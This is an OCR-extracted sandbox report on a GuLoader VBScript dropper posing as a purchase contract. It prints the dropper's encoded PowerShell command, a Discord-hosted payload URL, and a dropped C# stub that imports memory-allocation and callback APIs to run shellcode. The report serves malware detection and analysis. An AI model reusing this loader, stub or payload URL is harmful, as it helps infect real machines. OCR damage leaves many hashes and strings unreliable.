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Windows Analysis Report

tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs

Overview
General Information Detection Signatures Classification
Sample tregrene-KaufVertraeg-
Name: JoachimSvensson- MALICIOUS Found malware configuration
23564334.vbs

VBScript performs obfuscated calls...

Analysis ID: 560422
Yara detected GuLoader

MD5: b8fbb413a49b2f0.

SHAL: 2071d3476c94b3. Wscript starts Powershell (via cmd ...
SHA256: cffa320db9834e3. Potential malicious VBS script foun...
Infos: n Q & D EED Encrypted powershell cmdline option...

Very long command line found

C2 URLs / IPs found in malware con...
Guloader & »

Queries the volume information (nam... ]
Score: 84
Range: 0-100 Very long cmdline option found, this...
Whitelisted: false May sleep (evasive loops) to hinder...
Confidence: 100%

Uses code obfuscation techniques (...

Process Tree

= System is w10x64
. i; wscript.exe (PID: 4676 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)

o E¥ powershell.exe (PID: 7148 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoExit -EncodedCommand “IwBIAHIAaAB2AGUAcgB2AHMAaw
B1ACAATABIAGOAZQBzAHYAZQBUAGQAZQA5ACAAQQBYAGMAaABhAGKAOAAGAFMAY QBnAHMAIABKAHIAbwBzAGgAawBpAGUACWBOACAADABhAGAAZABZAGSAYQ
AgAHCcAaQBOAGMAaABIAGUADAAGAEgAeQBKAHIAY QBUAHQAIABTAGMAdQBSAGWACWBIAGEAIABhAGKACgBIAHUACgBZAHQAdQAGAHIAZQBOAHIAaQBIAHUAJA
BVACAAZABhAGCACABhAGEAZgB1ACAAVQBQAFQASABSACAAbQBVAHIACABPAG8AbgBMACAADQAKAEEAZABKACOAVABS5AHAAZQAGACOAVABSAHAAZQBEAGUAZg
BpAG4AaQBOAGKAbwBUACAAQAAIAAOACYB1IAHMAaQBUAGCAIABTAHKACWBOAGUADQA7AAOACYB1IAHMAaQBUAGCAIABTAHKACWBOAGUADBQAUAFIAAQBUAHQAaQ
BtAGUALgBJAG4AJABIAHIAbWBWAFMAZQBYAHYAaQBjAGUACWA7AAOACBWAHUAY gBsAGKAYWAJAHMAJABhAHQAaQBJACAAYWBSAGEAcwBzZACAAUWBZAEQAWQ
BFAEOARQBOAEKAVAAXAAOACGB7AAOACYBbAEQAbABSAEKADQBWAGBACgBOACYAIgBUAHQAZABSAGWALYBKAGWADBAAIACKAXQBWAHUAYgBSAGKAYWAgAHMAdA
BhAHQAaQBJACAAZQB4AHQAZQBYAGAAIABpAGAAdAAGAE4AdJABBAGWADABVAGMAY QBOAGUAVYBPAHIAAABLIAGEABABNAGUADQBVAHIAeQA0AGKAbgBOACAAUW
BZAEQAWQBFAEOARQBOAEKAVAA2ACWACYBIAGYAIABIJAG4AdAAZADIAIABOAGEAJABLIAHIAOQASAGKAbgBOACAACWBIAHIAAQASAHIAZQBMACAASQBUAHQAMW
AyACAAUWBZAEQAWQBFAEOARQBOAEKAVAASAGKAbgBOACAAY QBKAGOAdQASAGKAbgBOACAAUWBZAEQAWQBFAEOARQBOAEKAVAA3ACKAOWANAAOA
WwBEAGWADBABJAGOACABVAHIAdAACACIAAQBzAGUACgAzADIALgBKAGWADAAIACKAXQBWAHUAY gBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAA
IABJAG4AdABQAHQACGAgGAEMAY QBSAGWAVWBPAGAAZABVAHCAUABYAGBAYWBXACGAdQBpAGAAdAAgGAHMAZQBYAHUANQASAGKAbgBOACAACWBIAHIAAQA2ACWA
aQBUAHQAIABzAGUACgB1ADCcALABpAGA4AdAAgAHMAZ QBYAHUAOAASAGKAbgBOACAACWBIAHIAAQASACKAOWANAAOAWWBEAGWADABIAGOACABVAHIAJAAOACIA
awBIAHIAbgBIAGWAMWAYAC4AZABSAGWAIGAPAFOACABLIAGIADABPAGMAIABZAHQAY QBOAGKAYWAJAGUAeABOAGUACYBUACAAdgBVAGKAZAAGAFIAdABSAEOA
bwB2AGUATQBIAGOAbwBYAHKAKABIAG4AdABQAHQACgAgAHMAZQBYAHUAMQASAHIAZQBMACAASQBUAHQAMWAYACAACWBIAHIAdQAYACWAaQBUAHQAIABZAGUA
cgB1ADMAKQA7AAOACgBIAAOACHAIAEAADQAKACMAZgBIAHIAbgAgAEMAQQBNAFAASABJAFIARQAGAEYASYBFAEQAUgBFAE4AIABDAEEAUABTAEKAQWBJIAE4A
IABTAGMAYQBYAGYAZQBKAGUAbgBOACAASQBUAHQAZQASACAAQQBaAFKATQAgAEYASQBHAFUAUgAgGAEEAZgBNAGKAZgBOAHMAbgAZACAAdQBUAHQAaABVAHIA
bgBsACAAUWBhAHUAcwBzADMAIABOAEBATABFACAASABIAGUAZABSAGUAcWBZzAGIAIABNAEKATgBFAFIAQQAGAFYAaQBUAGQAZABYAGUAdgBIAHQAIABPAFAA
SABJAEQASQBPACAATQBBAECATYBFAFQASQBTAEUAIABNAGEAbAB2ACAADQBPAGWAJABIAG4AZQBZACAAWABFAE4ATWAGAEEADABSAGUANQAJAGAAbBWBUAGOA
bwBUAGKACWBOACAAIAANAAOAIJABTAFKARABZAEUATQBFAE4ASQBUADMAPQAWADSADQAKACQAUWBZAEQAWQBFAEOARQBOAEKAVAASADOAMQAWAD
QAOAALADCANgA7AAOACJAKAFMAWQBEAFKARQBNAEUATgBJAFQAOAAIAFSAUWBZAEQAWQBFAEOARQBOAEKAVAAXAFOAOgAGAE4AdABBAGWADABY
AGMAYQBOAGUAVgBpAHIAdAB1AGEAbABNAGUADbQBVAHIAeQAOACOAMQASAFSACYBIAGYAXQAKAFMAWQBEAFKARQBNAEUATgBJAFQAMWASADAALABDAHIAZQBmM
AFOAJABTAFKARABZAEUATQBFAE4ASQBUADKALAAXADIAMgA4ADgALAA2ADQAKQANAACAJABTAHQAZQBUAGYAPQAOAECAZQBOACOASQBOAGUABQBQAHIAbwBW
AGUACcgBOAHKAIAAtAFAAY QBOAGYAIAAIAEgASWBDAFUAOgBCAFMAbwBMAHQAJWBhAHIAZQBCAEMABABPAHAAIGAPACAATWBUAGUADQAKAAOACGAKAFQAQQBM
AEEAUgAgADOAIABbAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAFOAXQABADOAQWBYAGUAY QBOAGUASQBUAHMAJABhAGAAYWBIACgAWWBTAHKACWBOAGUADQAU
AEIAeQBOAGUAXQASACQAUWBOAGUAbgBMACAATABIAGAAZWBOAGgAIAAVACAAMgAPAAOACGANAAOADQAKAAOACIBGAGBACgAOACQAaQAIADAAOWAJACQAaQAY
ACOAbABOACAAJABTAHQAZQBUAGYALYBMAGUAbgBNnAHQAaAA7ACAAIABPACSAPQAYACKADQAKAAKAeWANAAOAIAAGACAAIAAGACAAIAAGACQAVABBAEWAQQBS
AFsAJABpACBAMgBAACAAPQAgAFSAYWBVAG4AdgBIAHIAdABAADOAOgBUAGBAQYB5AHQAZQACACQAUWBOAGUAbgBMACAAUWBIAGIAcWBOAHIAaQBUAGCAKAAK
AGKALAAgADIAKQASACAAMQA2ACKADQAKACAAIAAGACAATQANAAOADQAKAAOACYBMAGBACgAOACQATABSAGsAawBIAGQACgBIAGIAPQAWADSAIAAKAEWAeQBr
AGsAZQBKAHIAbQBIACAALQBSAHQAIAAKAFQAQQBMAEEAUgAUAGMAbwB1AGAAdAAgADSAIAAKAEWAeQBrAGsAZQBKAHIAbQBIACSAKWAPAAOACGB7AAOACgA]
AAOACgBbAFMAWQBEAFKARQBNAEUATgBIJAFQAMQBAADOAOgBSAHQABABNAG8AdgBIAEOAZQBIAG8ACgBSACJAJABTAFKARABZAEUATQBFAE4ASQBUADMAKWAK
AEWAeQBrAGSAZQBKAHIAbQBIACWAWWBYAGUAZgBJACQAVABBAEWAQQBSAFSAJABMAHKAawBrAGUAZABYAGOAYgBdACWAMQAPAAOACIGANAAOATQANAACAWWBT
AFKARABZAEUATQBFAE4ASQBUADEAXQABADOAQWBhAGWAbBABXAGKAbgBKAGBAdWBQAHIAbWBJAFCAKAAKAFMAWQBEAFKARQBNAEUATgBIJAFQAMWASACAAMAAS
ADAALAAWACWAMAAPAAOACGANAAOADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

. conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ csc.exe (PID: 6208 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.c
mdline MD5: 350C52F71BDED7B99668585C15D70EEA)
e [ cvires.exe (PID: 6620 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\A
ppData\Loca\Temp\RESA312.tmp" "c:\Users\user\AppData\Local\Temp\ejetfulO\CSCD17B7A03BBAF4362BESE7ED8FAA386CE. TMP" MD5:
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C09985AE74F0882F208D75DE27770DFA)
= cleanup

Malware Configuration

Threatname: Guloader

"Payload URL": "https://cdn.discordapp.com/attachments/933089228261294143/9"

Yara Overview

Memory Dumps

Source Rule Description

00000005.00000002.893175053.00000000099B0000.00000  JoeSecurity_GuLo Yara detected
040.00000800.00020000.00000000.sdmp ader_2 GuLoader

Sigma Overview

System Summary

Jbx Signature Overview

AV Detection

Found malware configuration

Networking

C2 URLs / IPs found in malware configuration

System Summary

Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)

Very long command line found

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Author Strings

Joe Security

fipal

fipal
A |

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found
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Behavior Graph
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Sample: tregrene-KaufVertraeg-Joach.. SUSPICIOUS D Process

Startdate: 26/01/2022 CLEAN

Architecture:  WINDOWS | |:| Signature

Score: 84 .
I:I Created File
Il onsieinfo

Potential malicious
strings)
- .
mg s Windows Process
L] .

Zas Number of created Registry Values
LLL}

Number of created Files

ok
» (=
23 WP

Visual Basic

2=
5E

)

Delphi

i
i
=

Java
‘Wscript starts Powershell Very long command line Encrypted powe
(via cmd or directly) found cmdline option {

.Net C# or VB.NET

C, C++ or other language

Q@ 2|

Is malicious
Internet
csc.exe - conhost.exe i
Y B: [C]
dropped
C:\Users\usenAppDatalLocall...\ejetful0.dll, PE32 started
cvtres.exe :,

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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tregreneK.

T LSBIHQFDVT UQOMNOZIRH

IPKGELNT!

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs 0% Virustotal Browse

Dropped Files

©@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/fpesterbdd.com/images/Pester.png 0% URL Reputation safe

hitp:/f https://contoso.com/ 0% URL Reputation safe
hitp://https://contoso.com/License 0% URL Reputation safe
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https://www.virustotal.com/gui/file/cffa320db9834e3f224aa5961073fc9d0cb14f34c6430ffa2d7468da7da7ce32/detection/f-cffa320db9834e3f224aa5961073fc9d0cb14f34c6430ffa2d7468da7da7ce32-1643194230

Source

http://https://contoso.com/Icon

Domains and IPs

Contacted Domains

@ No contacted domains info

Contacted URLs

Name

Detection

0%

Scanner

URL Reputation safe

Malicious Antivirus Detection

http://https://cdn.discordapp.com/attachments/933089228261294143/9 false

URLs from Memory and Binaries

Name

http://nuget.org/NuGet.exe

http:// pesterbdd.com/images/Pester.png

http:if

Source

powershell.exe, 00000005.00000002.886939
928.00000000063C3000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.877925
546.0000000005566000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.876857

schemas.xmlsoap.org/ws/2005/05/identity/claims/nam ~ 673.0000000005361000.00000004.00000800.0

e

http://www.apache.org/licenses/LICENSE-2.0.html

http://https://github.com/Pester/Pester

http://https://contoso.com/

http://https:/nuget.org/nuget.exe

http://https://contoso.com/License

http://https://contoso.com/Icon

World Map of Contacted IPs

©@ No contacted IP infos

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Copyright Joe Security LLC 2022

0020000.00000000.sdmp

powershell.exe, 00000005.00000002.877925
546.0000000005566000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.877925
546.0000000005566000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.886939
928.00000000063C3000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.886939
928.00000000063C3000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.886939
928.00000000063C3000.00000004.00000800.0
0020000.00000000.sdmp

powershell.exe, 00000005.00000002.886939
928.00000000063C3000.00000004.00000800.0
0020000.00000000.sdmp

34.0.0 Boulder Opal

560422

26.01.2022

15:00:13

CloudBasic

Oh 9m 46s

false

light
tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs

default.jbs

Malicious

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe

Label

Link

Reputation

high

Reputation

high

unknown

high

high

high

unknown

high

unknown

unknown

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
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Number of analysed new started processes 23

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal84.troj.evad.winVBS@8/10@0/0

EGA Information: Failed

HDC Information: Failed

HCA Information:

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .vbs

Override analysis time to 240s for JS files taking high CPU consumption

e o o o

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe,
wuapihost.exe

e Excluded IPs from analysis (whitelisted): 23.211.6.115

Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, ctldl.

windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

.

e o o o o

Simulations

Behavior and APIs

Time Type Description

15:02:04 API Interceptor 63x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context
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Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: data

Category: dropped

Size (bytes): 8003

Entropy (8bit):  4.839308921501875

Encrypted: false

SSDEEP: 192:yxoe50Vsm5emdVVFn3eGOVpN6EK3bkkjo59gkjDt4iWN3yBGHh9smidcU6CXpOTik:DBVoGIpN6KQkj2Wkjh4iUx0mib4J

MD5: 937C6E940577634844311E349BD4614D

SHAL: 379440E933201CD3E6E6BFIBOE61B7663693195F

SHA-256: 30DC628AB2979D2CFOD281E998077E5721C68BIBBA61610039E11FDC438B993C

SHA-512: 6B37FE533991631C8290A0E9CCOB4F11A79828616BEF0233B4C57EC7CIDCBFC274FB7E50FC920C4312C93E74CE621B6779F10E4016E9FD794961696074BDFBF
Malicious: false

Reputation: moderate, very likely benign file

Preview: PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShel\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........ Uninstall-Module........ inmo......

C:\Users\user\AppData\Local\Temp\RESA312.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols
Category: dropped

Size (bytes): 1340

Entropy (8bit):  3.9844957008769284

Encrypted: false

SSDEEP: 24:H+DK90oVapOwgcKXNcaH2hKcjmfwl+ycuZhNW6akSJILPNng9ed:ejlpOVcU3MK2molulWéa3Jhq9+

MD5: FC49CB16555CCB3E9712B61780093A4F

SHA1L: 2CCC9817ACFB52EEA331713E6A51EB48A4F87EAC

SHA-256: B16B44D6970784B72DA775D83FB9F2FD04B42C9FD8F09741F78CD2ES4EA9E064

SHA-512: AOCOBOB751083E80414167F26C252621A611B3B6071D24E6979DA92594B939759B65947DEE1EC97613CEC00840B835101AADD09B7F425D86C02A8B3848142B29

Malicious: false

Reputation: low

Preview: L@ debug$s........ D ST @..B.rsrc$01........ Xeverans LS @..@.rsrc$02........ P..F.vrnnnee @..@........ W....c:\\Users\user\AppData\Local\Temp\ejet
fulD\CSCD17B7A03BBAF4362BESE7ED8FAA3B6CE. TMP................ 8N.O..Q.P_...0.cccueee Uooacod C:\Users\user\AppData\Local\Temp\RESA312.tmp.-.<.
."...Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

oo Mlboooood Exnooosoacodboooooood e /osty_o\Wd S RASHIKON,_o[HNHF oo ceeDeVarFilelnfo.. $....Toranslatio.n..

ile.l.nfo.....0.0.0.0.04.b.0..,...FileD.es.c.r.ip.tio.n... .FileV.ers.i.on...0..0..0..0.<..lLnternalNam.e..eje.tful0..dllL

o.p.y.r.i.g.ht....D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5o0402mhb.iix.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:u:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
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SHA-512:

Malicious:
Reputation:

Preview:

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FOBD058A12A280433ED6FA4651
0A

false
high, very likely benign file
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gz54gho0.0ha.ps1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FO9BD058A12A280433ED6FA4651
0A

false

1

C:\Users\user\AppData\Local\Temp\ejetfulO\CSCD17B7A03BBAF4362BE5E7ED8FAA386CE.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

MSVC .res

dropped

652

3.075622557496499

false
12:DXt4li3ntuAHia5YA49aUGigMZAiN5gry46ak7YngqJLPN5DIg5J:+RI+ycuZhNW6akSILPNngX
384EEE4FB1D851BF505F99A9B0OES 7181
AO5EB6B97B7CC034189F6C4CFC254170BDC30031
EEB56A26B02324A42D7658541E8212A66F2E14703828BF69FF5C5ACFC33B209D

ABADFEG5F9EA390F249C8835179DAFE4173FB691BA6014413492A4E3COEODAFFE2EBA1F180A787E1E8CE4CELIEAAD0317053EDB1D9D8B2D16A97300DA3BF46
09E

false

............................... L.<iin0i L4ALVS,_VERSILON_INF.O. i 2 D Vaar Fillednfoo $e . Trans.lation. ...
S.tring.F.ilelnfo.....0.0.0.0.04b.0..,...FileD.es.cription.....0..FileV.ers.ion...0..0.0.0.<..lnternalNam.e..ejetful0..dLL..(.
.LegalCo.pyright...D..OriginalF.ilenam.e..ejetful0.dll..4..Produ.ctV.ers.io.n.0.0..0..0.8..Assemb.ly. Vers.ion.0..0..0..0.

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

490

5.177061534453094

false
12:V/IDGrJonWVLRCSEY09FMwQIP2HLIPJIV7XRffnLR5:JomnWVLRCSEYk++SHFRffnf
6EF217E1B387262CD37C8871BD75207A
D3D9DBD4C81658B7A1F9FOF99EBCAFF4AF00C0D26
38905131EE1E1DDEF2A4BC7CB49F29B1FF449275C3B21BE90AF10F2232052D57

136AE87623D223CCA114A472897E28B4E663BBF9612F3E232B564DDBCCADDOD7F57A5EEDC7521267F7D4BDDEC469B10963AFAA7FE2BD27537F83BFDBD1612
E09

false

.using System;..using System.Runtime.InteropServices;..public static class SYDYEMENIT1. {..[Dllimport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int SY
DYEMENIT6,ref Int32 Natur9,int seru,ref Int32 SYDYEMENIT,int adju,int SYDYEMENIT7);..[Dllimport("user32.dll")]public static extern IntPtr CallWindowProcW(uint s
eru5,int seru6,int seru7,int seru8,int seru9);..[Dllimport("kernel32.dllI")]public static extern void RtIMoveMemory(IntPtr serul,ref Int32 seru2,int seru3);..}

C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.cmdline

Process:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators

dropped

375

5.167077461780711

false
6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2N723fKT7ShGzxs7+AEszIN723fKT7Shb:p37Lvkmb6K2ayT7SkWZETayT7Sh
F51709B660769C5A6D24A77C2713B8DD

54F95EDODCB25E8EAAC31EBB1F16D84B78D12CE3
B2239B636A6ECE195DDC68CB33CBD00D3D4664F5926EF0B9B02834F50F44B35E

2F6D95A84770A6888743036B73D9CDCE22D8B63327DC184D0E335AA5F49128EAED3FOEFD73A615D55FA5F2A9D37C8D1ABD5A725A637F6D8E12DF2A18C3168¢
7

false

Jt:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.dIl" /debug- /optimize+ /warnaserror /optimize+ "C
:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs"

C:\Users\user\AppData\Local\Temp\ejetful0\ejetful0.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

2.822015607551872

false

48:6Ebjculb52Kql4QF9Bh+bB1ulW6a3Jhg:tjTIj4Mb6I6KJI
CB89CA164F91806FC6CD720DCB1639020
05C816C875AFA744A47B478D84B475CD077B9DFD
BAF76CC4091AF701AE37AB4306513D2645B8C574BC684D89516EE65FC7748BD3

26AA7FD7AFEDCEE5S59CBEFBE13DD89AA9586AAF9ATEACSC8BEA33938DES3ACC736D9A07EA4C0152615EE4C26F8BE3ADA7E2DEASECAD5C28ACI9BAS1FAGO
992500

false

. #Strings..
JRUR JOUON O

C:\Users\user\AppData\Local\Temp\ejetful0\ejetful0.out

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

876

5.279994811624406

false

24:KOugd3ka6K2abETaGKaM5DgBVKVrdFAMBJTH:yika6CbE+GKxDcVKdBJj
A7TE8A5B7CF6BF7429048FF556BC26DF2
6386089365DB04C3EA2F64D1D40D2FC45B6BB57A
9A0D035F647943A3FC22471BC08AB12AE7120D8ABAB7150C08088B0OF7FEA0FAQ

79A101445563B976C097530C549A9135F6D7EF2AB33679DDASE1B1COFAGA830F9500DFA9FBABEOBCFOA95A57A948D0EALCF21A79B953835B997E8C2870852BB
E

false

.C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dIl" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\ejetfulO\ejetful0.dIl" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ejetfulO\ejetful0.0.cs"......Microsoft (R) Visual C# Compiler
version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework, but only
supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://
go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\Documents\20220126\PowerShell_transcript.813435.4Hmbfafm.20220126150134.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
dropped

11548

5.195439260420691
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Encrypted: false

SSDEEP: 96:BZhTLSNNSm1TrwMFFyd1sXniC2JQwLKT14Nb84UdYoLbgDo1ZhZBTLSNnSm1Trw5:ghS2nljiNbpoihS2nljiNbpozMfkoLrz

MDS5: 20F10E2B7E09DE3D7C26D563B062E59C

SHAL: 681CC3ECD89789721C2E973410BD89D74C0221B9

SHA-256: 330D80522C9691DAFB1ADC78FEAC832818D9EOEBAEBD5C456F7E5F3D1BC70945

SHA-512: CBB70E9A7D6CF524E706ECA43DCF1762F77576E78CEB0A3F87A79CB5B67CD0575525BEDB993439D4BA15B6A772C07FC18B0A57D1B16D5E3AFC7BED34A7198
16A

Malicious: false

Preview: Jewkikkidedaik | Windows PowerShell transcript start..Start time: 20220126150156..Username: computer\user..RunAs User: computer\user..Configuration Name:

..Machine: 813435 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\SysWOW&64\WindowsPowerShell\v1.0\powershell.exe -NoEXxit -EncodedC
ommand IwBIAHIAaAB2AGUAcgB2AHMAawB1ACAATABIAGOAZQBzAHYAZQBUAGQAZQASACAAQQBYAGMAaABhAGKAOAAGAFMAY QBNAHMAIABKAHI
AbwBzAGgAawBpAGUAcWBOACAAbBABhAGAAZABZzAGSAY QAgAHCAaQBOAGMAaABIAGUADAAGAEgAeQBKAHIAYQBUAHQAIABTAGMAdQBSAGWACWBIA
GEAIABhAGKACgBIAHUACgBzZAHQAdQAGAHIAZQBOAHIAaQBIAHUAJABVACAAZABhAGCACABhAGEAZGB1IACAAVQBQAFQASABSACAADQBVAHIACAB
pAG8AbgBMACAADQAKAEEAZABKACOAVABSAHAAZQAGACOAVABSAHAAZQBEAGUAZGBpAGAAaQBOAGKAbWBUACAAQAAIAAOACGBIAHMAaQBUAGCAI
ABTAHKACWBOAGUAbBQA7AAODACYB1AHMAaQBUAGCAIABTAHKACWBOAGUADQAUAFIAdQBUAHQAaQBIAGUALYBIAGAAJABIAHIAbWBWAFMAZQBYAHY
AaQBjAGUACWA7AAOACYBWAHUAYgBSAGKAYWAGAHMAJABhAHQAaQBJACAAYWBSAGEACWBZACAAUWBZAEQAWQBFAEOARQBOAEKAVAAXAAOACGB7A

AOACgB
Static File Info

General

File type: ASCII text, with CRLF line terminators

Entropy (8bit):  5.18100071720658

TriD:

File name: tregrene-KaufVertraeg-JoachimSvensson-23564334.vbs

File size: 91200

MD5: b8fbb413a49b2f05872cb38372454664

SHA1L: 2071d3476c94b3cfc924b31c705806e78df674a8

SHA256: cffa320db9834e3f224aa5961073fc9d0ch14f34c6430ffa2d7468da7da7ce32

